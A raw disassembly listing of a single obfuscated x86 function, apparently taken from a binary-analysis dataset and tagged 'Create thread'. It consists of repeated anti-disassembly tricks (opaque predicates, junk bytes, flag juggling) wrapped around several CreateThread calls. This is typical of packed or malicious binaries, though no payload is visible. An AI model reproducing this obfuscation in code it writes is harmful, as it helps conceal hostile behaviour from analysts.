Function at 0x1001bad5
Capabilities:
Create thread

Disassembly:
jae 0x1001ba4d
jmp 0x1001ba48
call fcn.1001ba4f
jae 0x1001ba48
add esp, 4
jmp 0x1001ba54
dec dword [esp]
jno 0x1001ba59
jns 0x1001ba44
jp 0x1001ba5d
add esp, 4
popf
jmp 0x1001ba64
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001ba7d
jne 0x1001ba7d
call 0x1fc1edd1
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001e3e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001baac
jne 0x1001baab
call 0x9305ab33
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
lcall 0xcc02, 0x73f8fb74
lcall 0x669a, 0x1750374
pushfd
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001baba
jmp 0x1001babc
je 0x1001bab7
clc
jae 0x1001bac1
int3
je 0x1001bac6
jne 0x1001bac6
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x1001bad3
jmp 0x1001bace
call 0x1001bad5
jae 0x1001bace
add esp, 4
jmp 0x1001bada
dec dword [esp]
jno 0x1001badf
jns 0x1001baca
jp 0x1001bae3
add esp, 4
popf
jmp 0x1001baea
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bb03
jne 0x1001bb03
call 0x1fc1ee57
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001e450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001bb32
jne 0x1001bb31
call 0x9305abb9
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
arpl word [ebx + edi*8 - 8], si
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bb40
jmp 0x1001bb42
je 0x1001bb3d
clc
jae 0x1001bb47
jbe 0x1001bbaa
je 0x1001bb4c
jne 0x1001bb4c
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001bb59
jmp 0x1001bb54
call 0x1001bb5b
jae 0x1001bb54
add esp, 4
jmp 0x1001bb60
dec dword [esp]
jno 0x1001bb65
jns 0x1001bb50
jp 0x1001bb69
add esp, 4
popf
jmp 0x1001bb70
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bb89
jne 0x1001bb89
call 0x1fc1eedd
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001e4c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
adc eax, sym.imp.KERNEL32.dll_CreateThread
xor eax, eax
test eax, eax
je 0x1001bbb8
jne 0x1001bbb7
call 0x9305ac3f
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sub al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bbc6
jmp 0x1001bbc8
je 0x1001bbc3
clc
jae 0x1001bbcd
and byte [esp + esi*2], ch
add esi, dword [ebp + 1]
je 0x1001bbd2
jne 0x1001bbd2
sub al, 0x66
pushfd
pushf
push 0xa
jae 0x1001bbdf
jmp 0x1001bbda
call 0x1001bbe1
jae 0x1001bbda
add esp, 4
jmp 0x1001bbe6
dec dword [esp]
jno 0x1001bbeb
jns 0x1001bbd6
jp 0x1001bbef
add esp, 4
popf
jmp 0x1001bbf6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bc0f
jne 0x1001bc0f
call 0x1fc1ef63
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001f630
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001bc3e
jne 0x1001bc3d
call 0x9305acc5
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
bnd je 0x1001bc49
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bc4c
jmp 0x1001bc4e
je 0x1001bc49
clc
jae 0x1001bc53
invalid
je 0x1001bc58
jne 0x1001bc58
pushf
pushf
push 0xa
jae 0x1001bc65
jmp 0x1001bc60
call 0x1001bc67
jae 0x1001bc60
add esp, 4
jmp 0x1001bc6c
dec dword [esp]
jno 0x1001bc71
jns 0x1001bc5c
jp 0x1001bc75
add esp, 4
popf
jmp 0x1001bc7c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bc95
nop
add byte [eax], al
add byte [edx - 0x7f], dl
ljmp 0x358
jne 0x1001bc95
call 0x1fc1efe9
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001bcaf
jne 0x1001bcae
call 0x9305ad36
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov ebx, 0x73f8fb74
add dh, byte [ecx - 0x45]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bcbd
jmp 0x1001bcbf
je 0x1001bcba
clc
jae 0x1001bcc4
jno 0x1001bc7f
je 0x1001bcc9
jne 0x1001bcc9
mov ebx, 0xa6a9c66
pushf
push 0xa
jae 0x1001bcd6
jmp 0x1001bcd1
call 0x1001bcd8
jae 0x1001bcd1
add esp, 4
jmp 0x1001bcdd
dec dword [esp]
jno 0x1001bce2
jns 0x1001bccd
jp 0x1001bce6
add esp, 4
popf
jmp 0x1001bced
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bd06
jne 0x1001bd06
call 0x1fc1f05a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001bd20
jne 0x1001bd1f
call 0x9305ada7
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
fdiv qword [ebx + edi*8 - 8]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bd2e
jmp 0x1001bd30
je 0x1001bd2b
clc
jae 0x1001bd35
push ss
fdiv qword [ebx + eax + 0x75]
add esp, ebx
je 0x1001bd3a
jne 0x1001bd3a
fsub qword [esi - 0x64]
pushf
push 0xa
jae 0x1001bd47
jmp 0x1001bd42
call 0x1001bd49
jae 0x1001bd42
add esp, 4
jmp 0x1001bd4e
dec dword [esp]
jno 0x1001bd53
jns 0x1001bd3e
jp 0x1001bd57
add esp, 4
popf
jmp 0x1001bd5e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bd77
jne 0x1001bd77
call 0x1fc1f0cb
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001bd91
jne 0x1001bd90
call 0x9305ae18
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
movsd dword es:[edi], dword [esi]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001bd9f
jmp 0x1001bda1
je 0x1001bd9c
clc
jae 0x1001bda6
mov ebp, 0x750374a5
add dword [ebp + 0xa6a9c66], esp
je 0x1001bdab
jne 0x1001bdab
movsd dword es:[edi], dword [esi]
pushf
push 0xa
jae 0x1001bdb8
jmp 0x1001bdb3
call 0x1001bdba
jae 0x1001bdb3
add esp, 4
jmp 0x1001bdbf
dec dword [esp]
jno 0x1001bdc4
jns 0x1001bdaf
jp 0x1001bdc8
add esp, 4
popf
jmp 0x1001bdcf
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001bde8
jne 0x1001bde8
call 0x1fc1f13c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001ae40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001be17
jne 0x1001be16
call 0x9305ae9e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001be25
jmp 0x1001be27
je 0x1001be22
clc
jae 0x1001be2c
cmp al, 0xd1
je 0x1001be31
jne 0x1001be31
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001be3e
jmp 0x1001be39
call 0x1001be40
jae 0x1001be39
add esp, 4
jmp 0x1001be45
dec dword [esp]
jno 0x1001be4a
jns 0x1001be35
jp 0x1001be4e
add esp, 4
popf
jmp 0x1001be55
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001be6e
jne 0x1001be6e
call 0x1fc1f1c2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001be88
jne 0x1001be87
call 0x9305af0f
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
lcall 0xe302, 0x73f8fb74
lcall 0x669a, 0x1750374
pushfd
push 0xa
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001be96
jmp 0x1001be98
je 0x1001be93
jae 0x1001beaf